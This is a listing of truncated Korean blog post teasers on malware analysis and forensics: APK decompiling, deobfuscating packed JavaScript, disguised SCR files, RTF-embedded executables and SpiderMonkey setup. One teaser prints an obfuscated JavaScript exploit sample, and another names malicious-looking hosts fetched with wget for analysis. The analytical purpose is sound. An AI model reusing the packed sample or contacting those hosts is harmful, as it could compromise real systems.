2010년 HUST 대회에서 안드로이드에서 사용되는 APK 파일 관련 문제가 나와서 풀이를 작성합니다.이 풀이를 통해 APK 파일을 분석하는 방법에 대해 간단하게 나마 적고자 합니다.[분석 첫번째 방법 – apktool 이용]1. android-apktool 툴이란게 있습니다. 해당 툴을 다운로드 합니다.다운로드 : http://code.google.com/p/android-apktool/2. 다운로드 받은 파일을 압축을 해제하면 apktool.bat 파일이 존재합니다. 아래와 같은 명령어를 통해 APK 파일을 풉니다.apktool.bat d 파일명.apk3. 이번 […]
최근 난독화 중 아래와 같이 난독화 된 코드를 좀 더 편하게 풀 수 있는 방법을 확인하다 아래와 같이 하면 되는것을 확인하여 기록합니다. (별거 아닌 팁 -_-) window["eval"](function(G_OGr1,HG2,iQLyacc3,EL4,bsKZR_ek5,PgTEsQ6){bsKZR_ek5=function(iQLyacc3){return iQLyacc3["toString"](36)};if(!''["replace"](/^/,window["String"])){while(iQLyacc3–){PgTEsQ6[iQLyacc3["toString"](HG2)]=EL4[iQLyacc3]||iQLyacc3["toString"](HG2)}EL4=[function(bsKZR_ek5){return PgTEsQ6[bsKZR_ek5]}];bsKZR_ek5=function(){return'\\w+'};iQLyacc3=1};while(iQLyacc3–){if(EL4[iQLyacc3]){G_OGr1=G_OGr1["replace"](new window["RegExp"]('\\b'+bsKZR_ek5(iQLyacc3)+'\\b','g'),EL4[iQLyacc3])}}return G_OGr1}('9 a(){8();7 0=4.5(\'6\');0.b(\'#c#i\');4.f(0);d{0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1)}h(e){}1.g+=\'\'}',19,19,'a7|window|setAttribute|s|document|createElement|body|var|acNK2e|function|aNop1|addBehavior|default|try||appendChild|status|catch|userData'["split"]('|'),0,{})) 위와 같이 난독화 되어 있는 코드는 우선 아래와 같은 순서로 Replace 해줍니다. /window[“//g /”]//g /[“/./g 이렇게 바꾸고 나면 아래와 같은 코드로 변하게 […]
악성코드 분석이나 포렌직 시 많이 이용되는 Sysinternals Tool을 최신버전으로 자동으로 업데이트 해주는 배치파일 입니다. 출처 : http://sysadmingeek.com/articles/batch-script-to-auto-update-sysinternals-tools/ @ECHO OFF TITLE Sysinternals Updater ECHO Sysintenals Updater ECHO Written by: Jason Faulkner ECHO SysadminGeek.com ECHO. ECHO. SETLOCAL ENABLEDELAYEDEXPANSION SET SysInternalsTools="%Temp%\SysInternalsTools.tmp.txt" SET CurrentTasks="%Temp%\CurrentTasks.tmp.txt" SET StartWhenFinished="%Temp%\StartWhenFinished.tmp.txt" ECHO Detected directory: %~dp0 %~d0 CD %~p0 ECHO. ECHO. ECHO Downloading current tool […]
최근에 악성코드를 보다 신기한 것을 봐서 기록해 둡니다. 우선 현재 저희 윈도우 탐색기 옵션 상태 입니다. 옵션 중 “알려진 파일 형식의 파일 확장명 숨기기” 에는 체크가 해제가 되어 있습니다. 그리고 제가 본 파일은 아래와 같습니다. 분명히 DOC 파일인데 아이콘이 이상합니다. 뭔가 수상해서 콘솔에서 다시 한번 확인해 보았습니다. SCR 파일이네요? 어떻게 이렇게 감출 수 있을까 고민하다 […]
난독화 된 스크립트 복호화 시 alert 창을 띄워서 확인도 가능하지만 아래와 같이 textarea를 이용하여 확인도 가능하다. <form name="TEST"> <textarea name="TEST" cols="100" rows="100"> </textarea> </form> TEST.TEST.value = 문자열; 추가로 파일에 기록해야 할 필요가 있을 경우 아래와 같이 함수를 작성하여 사용하면 된다. function filewriter(text) { var fileObject = new ActiveXObject("Scripting.FileSystemObject"); fWrite = fileObject.CreateTextFile("C:\Users\ByJJoon\Downloads\1.txt", true); fWrite.write(text); fWrite.close(); }
최근에 확장자는 DOC 였지만 RTF(Rich Text Format) 포맷의 문서에 포함된 악성코드가 확인이 되어 문서내에서 EXE 파일을 뽑아내는 방법에 대해 연구한 내용을 기록 합니다. 우선 대상 샘플은 주말에 근무하다 발견한 doc 확장자를 가진 RTF 파일 입니다. 파일을 실행하면 아래와 같이 나오게 됩니다. PDF 파일 아이콘이 있으며 더블클릭을 하면 가운데 내용처럼 경고창이 나타나게 됩니다. [확인] 버튼을 누르면 […]
나중에 작업 환경이 리눅스로 바뀐다면 Malzilla 같은 툴 없이 분석을 쉽게 하기 위해 노가다로 스크립트를 작성해서 한번 찬찬히 분석을 진행해 보았습니다. 제가 작성한 스크립트들이 거지같더라도 이해해 주시길 바라며 분석할 대상 URL은 hxxp://202.133.245.100/exam.asp 입니다. (주의! 함부로 접속하지 마세요.) 먼저 wget을 이용하여 해당 스크립트를 다운로드 하여 살펴보도록 하겠습니다. [byjjoon@ByJJoon Script Analysis]$ wget http://211.234.118.207/main.html –2010-05-09 19:15:35– http://211.234.118.207/main.html Connecting […]
악성 스크립트 분석 시 그냥 수정 후 웹브라우져에서 확인을 해도 되지만 혹시 모를 위험 때문에 SpiderMonkey를 이용할 수 있다. 리눅스 환경에서는 yum install js-devel 명령어 하나로 간단하게 설치하여 사용할 수 있다. 윈도우 환경에서 사용할 방법을 찾다보니 cygwin 에서 컴파일 하여 사용이 가능함을 알 수 있었다. Install Cygwin with gcc and standard C libraries. Download and […]